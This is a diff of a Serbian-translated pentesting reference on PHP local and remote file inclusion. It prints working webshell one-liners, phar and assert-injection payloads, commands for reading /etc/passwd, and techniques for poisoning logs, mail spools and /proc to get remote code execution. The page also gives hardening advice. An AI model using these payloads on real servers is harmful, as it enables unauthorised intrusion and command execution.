- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||||
- `string.rot13`
|
- `string.rot13`
|
||||||
@ -228,21 +228,21 @@ PHP filters omogućavaju izvođenje osnovnih **operacija modifikacije nad podaci
|
|||||||
- `convert.base64-decode`
|
- `convert.base64-decode`
|
||||||
- `convert.quoted-printable-encode`
|
- `convert.quoted-printable-encode`
|
||||||
- `convert.quoted-printable-decode`
|
- `convert.quoted-printable-decode`
|
||||||
- `convert.iconv.*` : Transformiše u drugo enkodiranje(`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih enkodiranja** koja su podržana, pokrenite u konzoli: `iconv -l`
|
- `convert.iconv.*` : Pretvara u drugo kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih kodiranja** koja su podržana pokrenite u konzoli: `iconv -l`
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju kao include da obradi proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||||
|
|
||||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||||
- `zlib.deflate`: Kompresuje sadržaj (korisno ako ekstrafluirate mnogo informacija)
|
- `zlib.deflate`: Komprimuje sadržaj (korisno ako eksfiltrirate mnogo informacija)
|
||||||
- `zlib.inflate`: Dekomprimiše podatke
|
- `zlib.inflate`: Dekompresuje podatke
|
||||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||||
- `mcrypt.*` : Deprecated
|
- `mcrypt.*` : Deprecated
|
||||||
- `mdecrypt.*` : Deprecated
|
- `mdecrypt.*` : Deprecated
|
||||||
- Ostali filteri
|
- Ostali filteri
|
||||||
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći par **neočekivanih filtera**:
|
- Ako u PHP-u pokrenete `var_dump(stream_get_filters());` možete naći nekoliko **neočekivanih filtera**:
|
||||||
- `consumed`
|
- `consumed`
|
||||||
- `dechunk`: poništava HTTP chunked encoding
|
- `dechunk`: reverses HTTP chunked encoding
|
||||||
- `convert.*`
|
- `convert.*`
|
||||||
```php
|
```php
|
||||||
# String Filters
|
# String Filters
|
||||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Deo "php://filter" nije osetljiv na velika/mala slova
|
> Deo "php://filter" nije osetljiv na veličinu slova
|
||||||
|
|
||||||
### Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova
|
### Korišćenje php filtera kao orakla za čitanje proizvoljnih fajlova
|
||||||
|
|
||||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predlaže tehniku za čitanje lokalnog fajla bez vraćanja sadržaja od servera. Tehnika se zasniva na **boolean exfiltration of the file (char by char) using php filters** kao oracle. To je zato što se php filters mogu iskoristiti da tekst postane dovoljno veliki da php baci izuzetak.
|
[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) je predložena tehnika za čitanje lokalnog fajla bez dobijanja izlaza nazad od servera. Ova tehnika se zasniva na **boolean exfiltration fajla (karakter po karakter) koristeći php filtere** kao orakl. To je zato što se php filteri mogu koristiti da tekst učine dovoljno velikim da php baci izuzetak.
|
||||||
|
|
||||||
U originalnom postu možete naći detaljno objašnjenje tehnike, ali ovde je kratak rezime:
|
U originalnom postu možete naći detaljno objašnjenje tehnike, ali ovde je kratak rezime:
|
||||||
|
|
||||||
- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i učinite da se veličina stringa eksponencijalno poraste.
|
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||||
- Ovo će se koristiti da se generiše **text so big when the initial letter is guessed correctly** da php pokrene **error**.
|
- Ovo će biti iskorišćeno da se generiše **tekst toliko velik da, kada je početno slovo pogođeno**, php izazove **grešku**
|
||||||
- Filter **dechunk** će **remove everything if the first char is not an hexadecimal**, pa možemo znati da li je prvi karakter hex.
|
- Filter **dechunk** će **ukloniti sve ako prvi karakter nije heksadecimalan**, pa možemo znati da li je prvi karakter hex.
|
||||||
- Ovo, u kombinaciji sa prethodnim (i drugim filterima u zavisnosti od pogađanog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo videti kada uradimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Jer ako je hex, dechunk ga neće obrisati i inicijalna bomba će izazvati php error.
|
- Ovo, u kombinaciji sa prethodnim (i drugim filterima u zavisnosti od pogađanog slova), omogućiće nam da pogodimo slovo na početku teksta posmatrajući kada uradimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Jer ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
|
||||||
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da posle ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvi karakter na primer `a` jer ako primenimo 6 puta ovaj codec a->b->c->d->e->f->g, slovo više nije heksadecimalni karakter, te dechunk ga neće obrisati i php error će biti pokrenut zato što se množi sa inicijalnom bombom.
|
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druga slova kao n, o, p, q, r (i drugi codecs se mogu koristiti da pomere druga slova u hex opseg).
|
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druge chars kao n, o, p, q, r (i drugi codecs se mogu koristiti da pomere druga slova u hex opseg).
|
||||||
- Kada je početni karakter broj, potrebno ga je base64 encode-ovati i leak-ovati prva 2 slova da bi se otkrio broj.
|
- Kada je početni karakter broj, potrebno je base64 enkodovati i leak-ovati prva 2 slova da bi se otkrio broj.
|
||||||
- Krajnji problem je videti **how to leak more than the initial letter**. Korišćenjem order memory filtera kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta.
|
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||||
- I da bi se omogućilo dobijanje **further data** ideja je da se **generate 2 bytes of junk data at the beginning** sa **convert.iconv.UTF16.UTF16**, primeni **UCS-4LE** da se ono **pivot with the next 2 bytes**, i d**elete the data until the junk data** (ovo će ukloniti prva 2 bajta inicijalnog teksta). Nastaviti dok ne stignete do željenog bita za leak.
|
- I u cilju dobijanja **further data** ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da ih **pivotujemo sa naredna 2 bajta**, i d**eleti podatke sve do junk podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite ovo dok ne dođete do željenog bita za leak.
|
||||||
|
|
||||||
U postu je takođe objavljen alat za automatsko izvođenje: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
U postu je takođe objavljen alat za automatsko izvođenje: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||||
|
|
||||||
### php://fd
|
### php://fd
|
||||||
|
|
||||||
Ovaj wrapper omogućava pristup file descriptors koje proces ima otvorene. Potencijalno korisno za exfiltrate sadržaj otvorenih fajlova:
|
Ovaj wrapper omogućava pristup file descriptor-ima koje proces ima otvorene. Potencijalno korisno za izvlačenje sadržaja otvorenih fajlova:
|
||||||
```php
|
```php
|
||||||
echo file_get_contents("php://fd/3");
|
echo file_get_contents("php://fd/3");
|
||||||
$myfile = fopen("/etc/passwd", "r");
|
$myfile = fopen("/etc/passwd", "r");
|
||||||
```
|
```
|
||||||
Takođe možete koristiti **php://stdin, php://stdout and php://stderr** da pristupite **file descriptors 0, 1 and 2** redom (nisam siguran kako bi ovo moglo biti korisno u napadu)
|
Takođe možete koristiti **php://stdin, php://stdout and php://stderr** da pristupite **file descriptors 0, 1 and 2** redom (nisam siguran kako bi ovo moglo biti korisno u attacku)
|
||||||
|
|
||||||
### zip:// and rar://
|
### zip:// and rar://
|
||||||
|
|
||||||
Otpremite Zip ili Rar fajl koji sadrži PHPShell i pristupite mu.\
|
Otpremite Zip ili Rar fajl sa PHPShell unutra i pristupite mu.\
|
||||||
Da biste mogli zloupotrebiti rar protocol on **mora biti posebno aktiviran**.
|
Da bi bilo moguće zloupotrebiti rar protocol, on **mora biti posebno aktiviran**.
|
||||||
```bash
|
```bash
|
||||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||||
zip payload.zip payload.php;
|
zip payload.zip payload.php;
|
||||||
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||||||
```
|
```
|
||||||
### phar://
|
### phar://
|
||||||
|
|
||||||
`.phar` fajl se može iskoristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što je `include` za učitavanje fajlova. PHP kod ispod prikazuje kreiranje `.phar` fajla:
|
Fajl `.phar` može biti iskorišćen za izvršavanje PHP koda kada veb aplikacija koristi funkcije poput `include` za učitavanje fajlova. PHP kod prikazan ispod demonstrira kreiranje `.phar` fajla:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
$phar = new Phar('test.phar');
|
$phar = new Phar('test.phar');
|
||||||
@ -354,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
|
|||||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||||
$phar->stopBuffering();
|
$phar->stopBuffering();
|
||||||
```
|
```
|
||||||
Da biste kompajlirali `.phar` fajl, izvršite sledeću komandu:
|
Da biste kompajlirali fajl `.phar`, treba izvršiti sledeću komandu:
|
||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
Po izvršenju, biće kreirana datoteka nazvana `test.phar`, koja se potencijalno može iskoristiti za eksploatisanje Local File Inclusion (LFI) ranjivosti.
|
Po izvršenju biće kreirana datoteka nazvana `test.phar`, koja bi potencijalno mogla biti iskorišćena za exploatovanje Local File Inclusion (LFI) ranjivosti.
|
||||||
|
|
||||||
U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega, kroz funkcije kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()`, moguće je pokušati eksploatisanje deserialization ranjivosti. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem `phar` protokola.
|
U slučajevima kada LFI samo čita datoteku bez izvršavanja PHP koda unutar nje — putem funkcija kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()` — može se pokušati eksploatisanje deserialization ranjivosti. Ova ranjivost je povezana sa čitanjem datoteka koristeći `phar` protokol.
|
||||||
|
|
||||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||||
|
|
||||||
@ -373,32 +373,32 @@ phar-deserialization.md
|
|||||||
|
|
||||||
### CVE-2024-2961
|
### CVE-2024-2961
|
||||||
|
|
||||||
Bio je moguć zloupotreba **any arbitrary file read from PHP that supports php filters** da se dobije RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
Bilo je moguće zloupotrebiti **bilo koje proizvoljno čitanje datoteke iz PHP-a koje podržava php filters** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||||
Vrlo kratak rezime: a **3 byte overflow** u PHP heap-u je zloupotrebljen da bi se izmenio lanac slobodnih chunk-ova određene veličine kako bi se moglo **write anything in any address**, pa je dodat hook koji poziva **`system`**.\
|
Veoma kratak rezime: iskorišćen je **3 byte overflow** u PHP heapu da bi se **izmenio lanac slobodnih chunk-ova** specifične veličine kako bi se omogućilo **pisanje bilo čega na bilo koju adresu**, pa je dodat hook koji poziva **`system`**.\
|
||||||
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebljavajući više php filtera.
|
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom dodatnih php filtera.
|
||||||
|
|
||||||
### More protocols
|
### More protocols
|
||||||
|
|
||||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
Pogledajte više mogućih [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||||
|
|
||||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion napadu)
|
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — zapisivanje u memoriju ili u privremenu datoteku (nije jasno koliko bi ovo moglo biti korisno u file inclusion napadu)
|
||||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Pristup lokalnom fajl sistemu
|
- [file://](https://www.php.net/manual/en/wrappers.file.php) — pristup lokalnom filesystem-u
|
||||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Pristup HTTP(s) URL-ovima
|
- [http://](https://www.php.net/manual/en/wrappers.http.php) — pristup HTTP(s) URL-ovima
|
||||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Pristup FTP URL-ovima
|
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — pristup FTP(s) URL-ovima
|
||||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni tokovi
|
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — compression Streams
|
||||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalazi putanje koje odgovaraju šablonu (ne vraća ništa ispisivo, tako da nije naročito korisno ovde)
|
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — pronalaženje putanja koje odgovaraju obrascu (ne vraća ništa štampano, tako da nije baš korisno ovde)
|
||||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio tokovi (nije korisno za čitanje proizvoljnih fajlova)
|
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — audio streams (nije korisno za čitanje proizvoljnih datoteka)
|
||||||
|
|
||||||
## LFI via PHP's 'assert'
|
## LFI via PHP's 'assert'
|
||||||
|
|
||||||
Rizik od Local File Inclusion (LFI) u PHP-u je naročito visok kada je u pitanju funkcija 'assert', koja može izvršavati kod unutar stringova. To je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava ali nije pravilno sanitizovan.
|
Local File Inclusion (LFI) rizici u PHP-u su naročito veliki kada je u pitanju funkcija 'assert', koja može izvršavati kod unutar stringova. Ovo je posebno problematično ako se proverava ulaz koji sadrži directory traversal karaktere kao što je "..", ali nije pravilno sanitizovan.
|
||||||
|
|
||||||
For example, PHP code might be designed to prevent directory traversal like so:
|
For example, PHP code might be designed to prevent directory traversal like so:
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
Iako je ovo namenjeno da zaustavi traversal, to nehotice stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja fajla, napadač bi mogao koristiti:
|
Iako ovo ima za cilj da spreči traversal, to nenamerno stvara vektor za code injection. Da bi to iskoristio za čitanje sadržaja fajla, napadač bi mogao da upotrebi:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(highlight_file('/etc/passwd')) or '
|
' and die(highlight_file('/etc/passwd')) or '
|
||||||
```
|
```
|
||||||
@ -406,18 +406,18 @@ Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristit
|
|||||||
```plaintext
|
```plaintext
|
||||||
' and die(system("id")) or '
|
' and die(system("id")) or '
|
||||||
```
|
```
|
||||||
It's important to **URL-encode these payloads**.
|
Važno je **URL-encode these payloads**.
|
||||||
|
|
||||||
## PHP Blind Path Traversal
|
## PHP Blind Path Traversal
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (npr. jednostavan poziv **`file()`**) i sadržaj se ne prikazuje.
|
> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **file path** neke **PHP function** koja će **access a file** ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) i sadržaj nije prikazan.
|
||||||
|
|
||||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
U [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) je objašnjeno kako se blind path traversal može zloupotrebiti preko PHP filtera da bi se **exfiltrated the content of a file via an error oracle**.
|
||||||
|
|
||||||
Kao rezime, tehnika koristi **"UCS-4LE" encoding** da sadržaj fajla učini toliko **velikim** da će **PHP funkcija koja otvara** fajl izazvati **error**.
|
Kao rezime, tehnika koristi **"UCS-4LE" encoding** da bi sadržaj fajla bio dovoljno **big** da pozivanje **PHP function** koja otvara fajl izazove **error**.
|
||||||
|
|
||||||
Zatim, da bi se leak the first char koristi se filter **`dechunk`** zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da postave druge chars na početak i leak.
|
Zatim, da bi se leak-ovao prvi char koristi se filter **`dechunk`** zajedno sa drugim poput **`base64`** ili **`rot13`**, a konačno se koriste filteri **`convert.iconv.UCS-4.UCS-4LE`** i **`convert.iconv.UTF16.UTF-16BE`** da bi se **place other chars at the beggining and leak them**.
|
||||||
|
|
||||||
**Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
**Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||||
|
|
||||||
@ -427,20 +427,20 @@ Za tehničke detalje pogledajte pomenuti post!
|
|||||||
|
|
||||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||||
|
|
||||||
Kada server-side kod koji prihvata/uploaduje fajlove gradi destinacionu putanju koristeći korisnički kontrolisane podatke (npr. filename ili URL) bez canonicalising i validacije, `..` segmenata i apsolutne putanje mogu pobeći iz nameravane direktorijumske strukture i prouzrokovati arbitrary file write. Ako možete postaviti payload u direktorijum eksponiran na webu, obično dobijate unauthenticated RCE tako što postavite webshell.
|
Kada server-side kod koji prima/upload-uje fajlove gradi destinacionu putanju koristeći user-controlled podatke (npr. filename ili URL) bez canonicalisinga i validacije, `..` segmenata i absolute paths mogu pobjeći iz planiranog direktorijuma i prouzrokovati arbitrary file write. Ako možete postaviti payload pod web-exposed directory, obično dobijate unauthenticated RCE tako što postavite webshell.
|
||||||
|
|
||||||
Tipični tok eksploatacije:
|
Typical exploitation workflow:
|
||||||
- Identifikujte write primitive u endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
|
- Identifikujte a write primitive u endpointu ili background workeru koji prihvata putanju/filename i zapisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
|
||||||
- Odredite direktorijume koji su izloženi webu. Uobičajeni primeri:
|
- Odredite web-exposed directories. Uobičajeni primeri:
|
||||||
- Apache/PHP: `/var/www/html/`
|
- Apache/PHP: `/var/www/html/`
|
||||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||||
- Napravite traversal path koji izlazi iz predviđenog storage direktorijuma u webroot, i uključite sadržaj vašeg webshell-a.
|
- Sastavite traversal path koji izlazi iz namenjenog storage direktorijuma u webroot, i uključite vaš webshell sadržaj.
|
||||||
- Otvorite u browseru postavljeni payload i izvršavajte komande.
|
- Otvorite preglednik na dropped payload i izvršite komande.
|
||||||
|
|
||||||
Napomene:
|
Napomene:
|
||||||
- Ranljiva usluga koja vrši zapis može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
|
- Usluga koja vrši write može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
|
||||||
- Na Java stack-ovima, ovi file write-ovi su često implementirani prostom `File`/`Paths` konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni propust.
|
- Na Java stackovima, ovi file writes su često implementirani jednostavnim `File`/`Paths` konkatenacijama. Nedostatak canonicalisation/allow-listing je osnovni flaw.
|
||||||
|
|
||||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||||
```xml
|
```xml
|
||||||
@ -466,25 +466,25 @@ in.transferTo(out);
|
|||||||
</Command>
|
</Command>
|
||||||
</JMF>
|
</JMF>
|
||||||
```
|
```
|
||||||
Hardening that defeats this class of bugs:
|
Mere za jačanje bezbednosti koje onemogućavaju ovu klasu bagova:
|
||||||
- Razrešite putanju do canonical path-a i osigurajte da je potomak allow-listed osnovnog direktorijuma.
|
- Rezolvirajte putanju u kanonsku formu i osigurajte da je potomak direktorijuma koji je na allow-listi.
|
||||||
- Odbacite svaku putanju koja sadrži `..`, apsolutne root-ove, ili slova drajva; preferirajte generated filenames.
|
- Odbacite svaku putanju koja sadrži `..`, apsolutne root-ove, ili slova drajvova; preferirajte generisane nazive fajlova.
|
||||||
- Pokrenite writer pod low-privileged nalogom i segregirajte write direktorijume od served roots.
|
- Pokrenite writer kao nalog sa niskim privilegijama i odvojite direktorijume za pisanje od direktorijuma koji se serviraju.
|
||||||
|
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
Objašnjeno ranije, [**pratite ovaj link**](#remote-file-inclusion).
|
Objašnjeno ranije, [**follow this link**](#remote-file-inclusion).
|
||||||
|
|
||||||
### Korišćenjem Apache/Nginx log fajla
|
### Putem Apache/Nginx log fajla
|
||||||
|
|
||||||
Ako je Apache ili Nginx server **ranjiv na LFI** unutar include funkcije možete pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavite u **user agent** ili u **GET parameter** php shell kao **`<?php system($_GET['c']); ?>`** i include-ujete taj fajl
|
Ako je Apache ili Nginx server **ranjiv na LFI** u okviru include funkcije, možete pokušati da pristupite **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, ubacite u **user agent** ili u **GET parameter** php shell kao **`<?php system($_GET['c']); ?>`** i uključite taj fajl
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostrukih navodnika**, dvostruki navodnici će biti izmenjeni za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**.
|
> Imajte na umu da **ako koristite double quotes** za shell umesto **simple quotes**, dvostruki navodnici će biti izmenjeni u string "_**quote;**_", **PHP će baciti grešku** i **ništa više neće biti izvršeno**.
|
||||||
>
|
>
|
||||||
> Takođe, pobrinite se da **ispravno napišete payload** ili će PHP prijavljivati grešku svaki put kad pokuša da učita log fajl i nećete imati drugu priliku.
|
> Takođe, pobrinite se da **ispravno napišete payload** ili će PHP prijavljivati grešku svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
|
||||||
|
|
||||||
Ovo se može uraditi i u drugim logovima ali **budite oprezni,** kod unutar logova može biti URL enkodiran i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i on se dekodira unutar logova. PHPShell može biti ubacen u ovaj header.\
|
Ovo se može uraditi i u drugim logovima ali **budite oprezni,** kod unutar logova može biti URL encoded i to može uništiti Shell. Header **authorisation "basic"** sadrži "user:password" u Base64 i on se dekodira u logovima. PHPShell se može ubaciti u ovaj header.\
|
||||||
Ostale moguće putanje logova:
|
Ostale moguće putanje logova:
|
||||||
```python
|
```python
|
||||||
/var/log/apache2/access.log
|
/var/log/apache2/access.log
|
||||||
@ -499,44 +499,44 @@ Ostale moguće putanje logova:
|
|||||||
```
|
```
|
||||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||||
|
|
||||||
### Preko Emaila
|
### Putem e-pošte
|
||||||
|
|
||||||
**Send a mail** na internu adresu (user@localhost) koja sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da include-ujete mejl korisnika sa putanjom kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
|
**Pošaljite mail** na interni nalog (user@localhost) koji sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da include-ujete mail korisnika putem putanje kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
|
||||||
|
|
||||||
### Preko /proc/*/fd/*
|
### Putem /proc/*/fd/*
|
||||||
|
|
||||||
1. Upload mnogo shells (na primer: 100)
|
1. Otpremite mnogo shell-ova (na primer: 100)
|
||||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gde je $PID PID procesa (može se brute force-ovati) a $FD file descriptor (takođe se može brute force-ovati)
|
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute-force-ovati) i $FD = file descriptor (takođe može da se brute-force-uje)
|
||||||
|
|
||||||
### Preko /proc/self/environ
|
### Putem /proc/self/environ
|
||||||
|
|
||||||
Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovan unutar fajla /proc/self/environ
|
Slično log fajlu, pošaljite payload u User-Agent; biće reflektovano unutar /proc/self/environ fajla
|
||||||
```
|
```
|
||||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||||
User-Agent: <?=phpinfo(); ?>
|
User-Agent: <?=phpinfo(); ?>
|
||||||
```
|
```
|
||||||
### Putem uploada
|
### Putem upload
|
||||||
|
|
||||||
Ako možete da upload-ujete fajl, samo ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>`).
|
Ako možete upload fajl, samo inject the shell payload u njega (e.g : `<?php system($_GET['c']); ?>` ).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||||
```
|
```
|
||||||
Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/dokumenata/PDF
|
Da biste fajl učinili čitljivim, najbolje je ubaciti u metapodatke slika/dokumenata/pdf
|
||||||
|
|
||||||
### Putem ZIP upload-a
|
### Putem otpremanja ZIP fajla
|
||||||
|
|
||||||
Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite:
|
Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite:
|
||||||
```python
|
```python
|
||||||
